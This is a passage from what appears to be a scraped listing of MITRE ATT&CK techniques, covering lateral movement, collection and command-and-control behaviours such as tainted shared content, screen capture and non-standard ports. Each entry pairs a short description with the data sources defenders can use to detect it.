Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre